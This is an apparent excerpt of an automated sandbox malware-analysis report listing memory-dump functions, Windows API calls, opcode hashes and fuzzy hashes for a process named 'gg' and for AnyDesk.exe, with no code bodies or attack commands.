Instruction ID: 182fc928142a2ad54dac9399b41413bbcba38be3754f5b3f041aca4acf48e689
Opcode Fuzzy Hash: 19540eb8c66b63a991f69d5b78d61e8c21172c46df54ff086dcb049edba07cf1
Instruction Fuzzy Hash: 7A1114B69003598FDB10CF9AC448ADEFBF4EB48310F10842AD919A7310C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0142B2A0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0142B101,00000800,00000000,00000000), ref: 0142B312

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b3b15255dc4bd4109476699a85de77482293717c3a669498bfa2922a59bc1967
Instruction ID: 6c3de98ecd52054a7d1b0eafc18e0057e032e0ee15dff74460abdd46706c52e3
Opcode Fuzzy Hash: b3b15255dc4bd4109476699a85de77482293717c3a669498bfa2922a59bc1967
Instruction Fuzzy Hash: E61114B68003588FDB14CF9AD444ADEFBF4EB88310F14842AD959A7310C375A585CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 071A9D20 Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 071A9D85

Memory Dump Source

Source File: 00000012.00000002.1893839232.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_71a0000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3b4ff4ccd5b867309b8b0ed0fe0ec8c15b6b85ab8043bd8580318601bdc80e9e
Instruction ID: 6726124c2abe01c904525cbf1a6ea9f4ba60b5c5d15fcdf4d1427bb9256ab55a
Opcode Fuzzy Hash: 3b4ff4ccd5b867309b8b0ed0fe0ec8c15b6b85ab8043bd8580318601bdc80e9e
Instruction Fuzzy Hash: 0A1102B9800349DFCB10DF9AC845BDEBBF8EB48324F20841AE558A7640C379A584CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 061774F1 Relevance: 1.5, APIs: 1, Instructions: 49comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0617754D

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4e3e021c28063d7bda61f262bccd0cfdd465a6f7a8328f9b7efc7794faaab7df
Instruction ID: c6b0dba4f5998b8e078fa8328ed353ca3e6ac5c6d9c200014b05f40537aad90c
Opcode Fuzzy Hash: 4e3e021c28063d7bda61f262bccd0cfdd465a6f7a8328f9b7efc7794faaab7df
Instruction Fuzzy Hash: 8E1133B59002488FCB20DFAAE844BDEFFF4EB48310F248419D559A3350D379A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 071A4548 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 071A9D85

Memory Dump Source

Source File: 00000012.00000002.1893839232.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_71a0000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 2714c4f0b0807c7bbfeabf5aad0b67d5f1edd027f1317b49edb2cf7fef443eb5
Instruction ID: 49400b8777aa26cc43280781719dbf826bcd33c4b9ce58a2621cfb720ca6e0d4
Opcode Fuzzy Hash: 2714c4f0b0807c7bbfeabf5aad0b67d5f1edd027f1317b49edb2cf7fef443eb5
Instruction Fuzzy Hash: 0C1106B5800349DFCB10DF99C449BDEFBF8EB48320F10845AE559A7241C379A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0142B020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0142B086

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0c6f7818fc4ec6ff26e0c642d1445f23f13a19222214cb06d6c5dac99f3b4e53
Instruction ID: f811e57753f1a225890b95bf35f4b960444f9a343166e352bf81aee5b5fb2cbe
Opcode Fuzzy Hash: 0c6f7818fc4ec6ff26e0c642d1445f23f13a19222214cb06d6c5dac99f3b4e53
Instruction Fuzzy Hash: 4411FDB5C003598BDB20CF9AC444A9EFBF4EB88220F10842AD969A7210C379A585CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06176E94 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0617754D

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0ab4eb760f2204c5fc827fd17f0ae1ce1c075c52552a5973b5cbf8210fb603c7
Instruction ID: 5930b659a60c924f1a99f5b06351f9ed04a3a390314486080ef0886b926b6a72
Opcode Fuzzy Hash: 0ab4eb760f2204c5fc827fd17f0ae1ce1c075c52552a5973b5cbf8210fb603c7
Instruction Fuzzy Hash: C81100B59003498FCB20DF9AD548B9EBBF8EB48320F248459D519A7250C378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 061D1B08 Relevance: 1.5, Instructions: 1465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6394f7dc0f1558d6d7c6a6cc4c89e9a1f3cd274f297348fadc0a38a1bd535b82
Instruction ID: 27626ef8a449153fb839e93e7c6e4c43fc8bdf2a4477d89d353342f254c05055
Opcode Fuzzy Hash: 6394f7dc0f1558d6d7c6a6cc4c89e9a1f3cd274f297348fadc0a38a1bd535b82
Instruction Fuzzy Hash: 16C25D31B401189FCB54DB64CD91AADBBB2FF88700F108099E60AAB365DB71DE85DF61

Uniqueness

Uniqueness Score: -1.00%

Function 061D0048 Relevance: .7, Instructions: 676COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b3e37f7ab1dcd0c7dc6a77e26e83f509ef729b8fbd859864d0a352c7060818
Instruction ID: b756ce4f728eac0af6b57b4b0cf07ff0440f31ac683045def46f5db7e5a1b32f
Opcode Fuzzy Hash: a4b3e37f7ab1dcd0c7dc6a77e26e83f509ef729b8fbd859864d0a352c7060818
Instruction Fuzzy Hash: 0342AD307406189FCB65AF68D490A6EBBF2FBC9305B104A5CD1039B795CF7AEC058B96

Uniqueness

Uniqueness Score: -1.00%

Function 061D201A Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 078c46858463b84b0cb28e48ee778dccd5d47dd84c50c2cbad283ef5e928c1ba
Instruction ID: ec4e69000db83a6e67cd451e1d15b4fd9ebeb1b6a542d18657ccf41275539c88
Opcode Fuzzy Hash: 078c46858463b84b0cb28e48ee778dccd5d47dd84c50c2cbad283ef5e928c1ba
Instruction Fuzzy Hash: 3A22D735B401188FCB589B24CD95EADB7B2EF88700F118099EA165B3A5CF71ED82DF91

Uniqueness

Uniqueness Score: -1.00%

Function 061D0508 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc435b1d30847ac49cb6aa89bfc5cf1019f5390c507f355d86b000b256dfaf25
Instruction ID: ecb2c36b478506fd1df3d78d6ad12dbce564492d6bd83aecd76bf157944f35ae
Opcode Fuzzy Hash: cc435b1d30847ac49cb6aa89bfc5cf1019f5390c507f355d86b000b256dfaf25
Instruction Fuzzy Hash: 5602BB30B402149FCB649F68D994A2EBBF2FB89305F104958D6039F7A6CF76EC458B91

Uniqueness

Uniqueness Score: -1.00%

Function 061D3B5F Relevance: .4, Instructions: 402COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213f0c41390934348b966f75804e908c5b1a6e6ac1b4c2dcce561046903bb129
Instruction ID: 0e9c7f54ef86267c6bd2012077617d7ce9cc59699be2646d770b11145fb8c962
Opcode Fuzzy Hash: 213f0c41390934348b966f75804e908c5b1a6e6ac1b4c2dcce561046903bb129
Instruction Fuzzy Hash: 25F11534B402189FCB44CF69C994EA9BBF6AF89700F11809AE506DB3A6DB71ED41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 061D05F8 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5670903c84327a2c4248b8eda7165414105bd27b692e45c1a37162acccddc5cb
Instruction ID: 96f8ffccc07e95e078e3388a975931b568d80cb6b8ac66fc32ad35f7872b530a
Opcode Fuzzy Hash: 5670903c84327a2c4248b8eda7165414105bd27b692e45c1a37162acccddc5cb
Instruction Fuzzy Hash: 22E1CF30B402049FDB549F68C994B2E7BB6FF89701F108959E6029B7A1CF76DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 061D1AEC Relevance: .4, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294435ebcdb8b5c44fe693560a706c20a88b77cc4571db9375fded2a93a9fd96
Instruction ID: 0b9ec9fb93c6dee21185ac765ebe65fb47c723932a36adc50a069bf1831f5edc
Opcode Fuzzy Hash: 294435ebcdb8b5c44fe693560a706c20a88b77cc4571db9375fded2a93a9fd96
Instruction Fuzzy Hash: 12D15A75B50004AFC784DF98DA85E99BBB6FF48700F908065EA06EB361CB71ED49CB61

Uniqueness

Uniqueness Score: -1.00%

Function 061D0670 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed082b7e5b191cbd0fe67f0ec8426ed277ef90671bcca6d8e856eef547127174
Instruction ID: d3b9e7e19c3b8a2f68900d9a5912a4eabc7566d97b158b409489dbad31a0e923
Opcode Fuzzy Hash: ed082b7e5b191cbd0fe67f0ec8426ed277ef90671bcca6d8e856eef547127174
Instruction Fuzzy Hash: 58D1AE30B502049FDB449F68C998B2A7BB6FF89701F508459E6029B7A1CB76DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 061D0037 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba06ad90979f9ffb182293c1a6970a8f680a6663ac24071f62236092094f933b
Instruction ID: 3edd64dab69a5213f1f3819be98e00cc5ed86a58b472a9e1423fa95fa011adb6
Opcode Fuzzy Hash: ba06ad90979f9ffb182293c1a6970a8f680a6663ac24071f62236092094f933b
Instruction Fuzzy Hash: E2C1AE30B402049FDB449F68C998B2A7BB6FF8D701F148469E602DB3A1CB76DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 061D05D6 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47a2cbc8df855bf05847feb806a62d2a9129aaf259bad33bc47ab9644ffae7fc
Instruction ID: 0a9513bb6d1bb176106c505b9f90742feda0acbb37eaea6b77db4f8dc6bd4c58
Opcode Fuzzy Hash: 47a2cbc8df855bf05847feb806a62d2a9129aaf259bad33bc47ab9644ffae7fc
Instruction Fuzzy Hash: 5BB19E30B50204EFDB449F64C998B2A77B6FB8D702F104459E6029B7A5CB76DC85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 061D0580 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f40cb8c50e2643728e5f05d05229a308485d2306a0bbe808806012bf5519d87
Instruction ID: 80f45fb8c16670f2f0e17a766d7930029af3c9737ef676096a4657bcd6e885f3
Opcode Fuzzy Hash: 2f40cb8c50e2643728e5f05d05229a308485d2306a0bbe808806012bf5519d87
Instruction Fuzzy Hash: FBB19E30B50204DFDB449F64C998B2A7BB6FB8D702F508459E6029B3A5CB76DC85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 061D0FC4 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a5c0d8f237e105d65c54c97585854114d674216eceb0f644739ae71e5b1390
Instruction ID: 921f1d0e9af79a992c00cb8d2038d85a741f6ffb3fde96c64fe054de144fd10c
Opcode Fuzzy Hash: c6a5c0d8f237e105d65c54c97585854114d674216eceb0f644739ae71e5b1390
Instruction Fuzzy Hash: D0212830704244AFCB45AB6DDD548AEBBF7EFC9350715496AE515CB2A2DB30CC11C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 061D35B3 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a17dbc1ab95154930b6c54659a84f71266bd8760c36e2b3674ee83e911b384c
Instruction ID: d6e22bccb0c8880d89f4c051941dc1917bd09bd76353875da07ae731f724c01b
Opcode Fuzzy Hash: 7a17dbc1ab95154930b6c54659a84f71266bd8760c36e2b3674ee83e911b384c
Instruction Fuzzy Hash: 15216B35B40004AFCB54CF69D984EAABBB2EF88754F1180A9E9059F371DB31EC06CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0137D764 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884822039.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_137d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab3df4a450a9fa6975af8939820f13ebdbb160d7b7a0072dcd7939988d761b7
Instruction ID: 5441352ca3445f42165291cbd0b15dba5cb4c89a52ff9c4629f2ace614170ca1
Opcode Fuzzy Hash: dab3df4a450a9fa6975af8939820f13ebdbb160d7b7a0072dcd7939988d761b7
Instruction Fuzzy Hash: F4210672500284EFCB25DF94D9C0B26BFA5FF88318F24C669E9094B256C33AD416CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0137D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884822039.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_137d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd76f40b295841071191d0e69e69bee8656f8df7180f820406cdaa7318779dc0
Instruction ID: 164c6ead15597ebf7532b9b66c01f411e697d9ca24e2b8b2483f69de73d48ea1
Opcode Fuzzy Hash: dd76f40b295841071191d0e69e69bee8656f8df7180f820406cdaa7318779dc0
Instruction Fuzzy Hash: A5212271500244DFDB25DF58D9C0B2ABFA5FF8832CF24C669E9091B256C33AD456CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0138D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884857172.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_138d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe525d403c45a5ad86edf7d6317f6d6ab544ca51736af81b5c7b04d84d78602
Instruction ID: 17b582227c59ba50c3b5ae452d7ab4cebdbec33e3f05d3f282252574df9fdf76
Opcode Fuzzy Hash: 4fe525d403c45a5ad86edf7d6317f6d6ab544ca51736af81b5c7b04d84d78602
Instruction Fuzzy Hash: 542122B1604304DFDB15EF98D984B26BFA5FB84318F20C56DD80A4B396C33AD447CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0137D75F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884822039.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_137d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction ID: b2d88480dfb4d1f7f05e0b811cc5105fb1bed7ad5f5878163ad73249361f80e2
Opcode Fuzzy Hash: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction Fuzzy Hash: 41218C76504280DFDB16CF54D9C4B16BF72FB88318F28C6A9D9490A656C33AD42ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 0137D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884822039.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_137d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 8a61cf4dfc72df617740916029ca993d043a4a8a7e5c99a903196a6be2428730
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 7011B176504280CFDB16CF54D5C4B16BF71FF84328F24C6A9D9490B656C33AD45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0138D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884857172.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_138d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: af53d568839933dc112eab31eca0de8df607c81ea012b28f3e35ef4ab21a8390
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 7311BEB5504380CFDB12DF54D5C4B15BF61FB44318F24C6AAD8494B696C33AD40BCB61

Uniqueness

Uniqueness Score: -1.00%

Function 0137D655 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884822039.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_137d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941141e298bb84a8da8e868d660dc1e7c5528f2bf8e9c52b38be536bed2ab8a2
Instruction ID: 331e7906c73c42a46661b18862a9928b2771cf41e4108f7dd6dee6188a3b495e
Opcode Fuzzy Hash: 941141e298bb84a8da8e868d660dc1e7c5528f2bf8e9c52b38be536bed2ab8a2
Instruction Fuzzy Hash: 2C01A2711083449AE7219A69CEC4767FFACEF41338F58C42AED0D4A296C67DE840CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0137D654 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1884822039.000000000137D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0137D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_137d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2547d003a671a9a88b9fed33ac41ab21a2269d439098e12419eebf352b0cd165
Instruction ID: 7346e2db5140007b883c9ce09dd8c6a15422fbab29e2081d87f68b76656796c8
Opcode Fuzzy Hash: 2547d003a671a9a88b9fed33ac41ab21a2269d439098e12419eebf352b0cd165
Instruction Fuzzy Hash: 45F062724043449AE7218E1ACDC4B66FFA8EF51738F18C45AED0D4A296C279A844CAB1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AnyDesk.exePID: 8108, Parent PID: 7872COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.6%
Total number of Nodes:	129
Total number of Limit Nodes:	5

Executed Functions

Function 69C5F787 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 68
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNEL32(80000002,Software\Google\GCAPITemp,00000000,00000000,00000000,0002021F,00000000,?,?,?,00000000,00000000), ref: 69C5F7CB
lstrlenW.KERNEL32(?,?,00000000,00000000), ref: 69C5F7D9
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,00000000,?,00000000,00000000), ref: 69C5F7EB
RegDeleteValueW.KERNEL32(?,?,?,00000000,00000000), ref: 69C5F7FE
RegCloseKey.ADVAPI32(?,?,00000000,00000000), ref: 69C5F807
RegDeleteKeyW.ADVAPI32(80000002,Software\Google\GCAPITemp), ref: 69C5F815

Strings

test, xrefs: 69C5F79A
Software\Google\GCAPITemp, xrefs: 69C5F7BF, 69C5F7C9, 69C5F813

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: DeleteValue$CloseCreatelstrlen
String ID: Software\Google\GCAPITemp$test
API String ID: 495649648-3707622476
Opcode ID: f76cd66e646c4becc2719c9c11448770395680c246b1b435d680d2454d2b2ce2
Instruction ID: 590ea218f49974408e9f82fca02006f61ce515897b4db7851b0c5f82da9b2fa5
Opcode Fuzzy Hash: f76cd66e646c4becc2719c9c11448770395680c246b1b435d680d2454d2b2ce2
Instruction Fuzzy Hash: B4115E7190022DAFDB00DF95DD89DFFBB7DFB46751B900429F506A6100E6315E058BB1

Uniqueness

Uniqueness Score: -1.00%

Function 69C40AF4 Relevance: 9.1, APIs: 6, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 69C40B31
dllmain_crt_dispatch.LIBCMT ref: 69C40B48
dllmain_crt_dispatch.LIBCMT ref: 69C40B8D
dllmain_raw.LIBCMT ref: 69C40B97
dllmain_crt_dispatch.LIBCMT ref: 69C40BBE
dllmain_raw.LIBCMT ref: 69C40BD1

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: dllmain_crt_dispatchdllmain_raw
String ID:
API String ID: 1382799047-0
Opcode ID: c38b8f6560b2fb78b16d2c313a63c7083990a9a8c2fed2a9b666370fb4fd0ae7
Instruction ID: 330b803584c1303aaa6ae76a7ddd8e1c0a6503fdec4b37b47ab387ac5be77932
Opcode Fuzzy Hash: c38b8f6560b2fb78b16d2c313a63c7083990a9a8c2fed2a9b666370fb4fd0ae7
Instruction Fuzzy Hash: B721D576F80765ABDB21DE64AD40D6F3A39BFA5F58B015908FC142B141E334C8108BA0

Uniqueness

Uniqueness Score: -1.00%

Function 69C28A90 Relevance: 3.0, APIs: 2, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

new.LIBCMT ref: 69C28AC0
GetCommandLineW.KERNEL32(00000000,?,?,?,?,?,69C3EF5E,00000000,00000000,00000000), ref: 69C28AD6

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 507593138f47d143efdfa5432b9fa5cb50c22903db5ee83b8fbb9923ac6d2962
Instruction ID: ba0dc57638f680b792357596d399ad8820882904a79291fdc25c4c38994ba8b0
Opcode Fuzzy Hash: 507593138f47d143efdfa5432b9fa5cb50c22903db5ee83b8fbb9923ac6d2962
Instruction Fuzzy Hash: 8D018475654200DFCB04EF70E855A6BB7A5FB95604F00961DE86A4B290FF309906DBD3

Uniqueness

Uniqueness Score: -1.00%

Function 69C340D0 Relevance: 3.0, APIs: 2, Instructions: 39
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
